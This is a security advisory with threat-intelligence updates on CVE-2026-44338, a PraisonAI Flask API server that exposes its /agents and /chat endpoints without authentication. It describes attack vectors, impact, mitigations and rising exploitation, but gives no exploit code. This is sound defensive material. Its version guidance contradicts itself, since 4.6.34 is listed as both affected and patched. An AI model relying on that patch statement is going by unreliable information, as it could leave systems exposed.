CVE-2026-44338

The vulnerability in the multi-agent teams system, PraisonAI, arises from the inclusion of a legacy Flask API server that has authentication disabled by default in versions 2.5.6 through 4.6.34. This flaw allows any user with network access to the server to interact with sensitive endpoints, specifically the /agents endpoint, and to trigger workflows defined in the agents.yaml file via the /chat endpoint without any form of authentication. This lack of access control significantly increases the risk of unauthorized access and manipulation of the system's functionality, as it permits any caller to execute potentially harmful actions.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage network access to the vulnerable server, either from an internal network or through the internet if the server is exposed. The absence of authentication means that even a basic script or tool can be employed to send requests to the API endpoints, allowing the attacker to execute workflows that could lead to data exfiltration, service disruption, or unauthorized changes to the system's configuration. For instance, an attacker could trigger malicious workflows that manipulate data or cause the system to behave unexpectedly, leading to further exploitation or compromise.

The real-world impact of this vulnerability can be severe, particularly for organizations relying on PraisonAI for critical operations. The ability for unauthorized users to access and manipulate agent workflows poses significant business risks, including data breaches, operational disruptions, and reputational damage. If sensitive information is exposed or if the system is used to execute harmful actions, the consequences could extend beyond immediate financial losses to long-term trust issues with customers and partners. Furthermore, regulatory implications may arise if the compromised data includes personally identifiable information or other sensitive data subject to compliance requirements.

To detect and mitigate this vulnerability, organizations should first ensure that they are running a patched version of PraisonAI, specifically version 4.6.34 or later, where the issue has been resolved. Regularly updating software to the latest versions is a fundamental practice in cybersecurity hygiene. Additionally, network segmentation and firewall rules should be implemented to restrict access to the API server, ensuring that only trusted internal sources can communicate with it. Monitoring and logging API access attempts can also help detect unauthorized access patterns, allowing for timely responses to potential exploitation attempts. Implementing robust authentication mechanisms for the API server is essential to prevent similar vulnerabilities in the future.

In conclusion, the vulnerability in PraisonAI's legacy Flask API server highlights the critical importance of secure default configurations and robust authentication mechanisms in software development. The potential for exploitation poses significant risks to organizations, necessitating proactive measures to safeguard against unauthorized access and manipulation of sensitive workflows. By adopting comprehensive detection and mitigation strategies, organizations can better protect themselves from the threats posed by such vulnerabilities.

CSURFACE threat intelligence has observed a marked escalation in activity related to CVE-2026-44338, characterized by a notable surge in exploitation attempts and the emergence of new public proof-of-concept exploits hosted on GitHub. This development broadens the exploit landscape, lowering the barrier for adversaries to weaponize the vulnerability in PraisonAI’s legacy Flask API server. Although the EPSS score has slightly declined, our telemetry indicates an upward trend in exploitation attempts over the past week, signaling sustained attacker interest. The availability of multiple public exploit repositories increases the likelihood of opportunistic and less sophisticated threat actors engaging in attacks, thereby amplifying the risk to organizations that have not yet applied the patched version. This shift underscores the urgency for defenders to enhance detection capabilities and monitor for indicators linked to these new exploits. While the overall threat level remains high due to the vulnerability’s inherent severity, the expanded exploit toolkit and increased exploitation activity elevate the operational risk, particularly in environments where legacy configurations persist.

Update 2 — June 07, 2026

CSURFACE threat intelligence has detected a slight increase in activity exploiting CVE-2026-44338, despite a modest decline in its EPSS score. This divergence suggests that while the overall likelihood of exploitation as measured by predictive scoring has decreased, adversaries continue to probe and leverage the vulnerability opportunistically. The emergence of additional proof-of-concept exploits on public repositories further lowers the barrier for less sophisticated actors to attempt intrusions against unpatched PraisonAI deployments. Our telemetry indicates that this uptick is not yet a broad surge but signals persistent interest and potential for targeted attacks, particularly in environments where legacy Flask API servers remain active without authentication. Consequently, the operational risk remains elevated, with a subtle shift toward exploitation attempts by opportunistic threat actors rather than widespread automated campaigns. Defenders should remain vigilant as this pattern may presage more sustained or escalated exploitation efforts if patch adoption does not improve.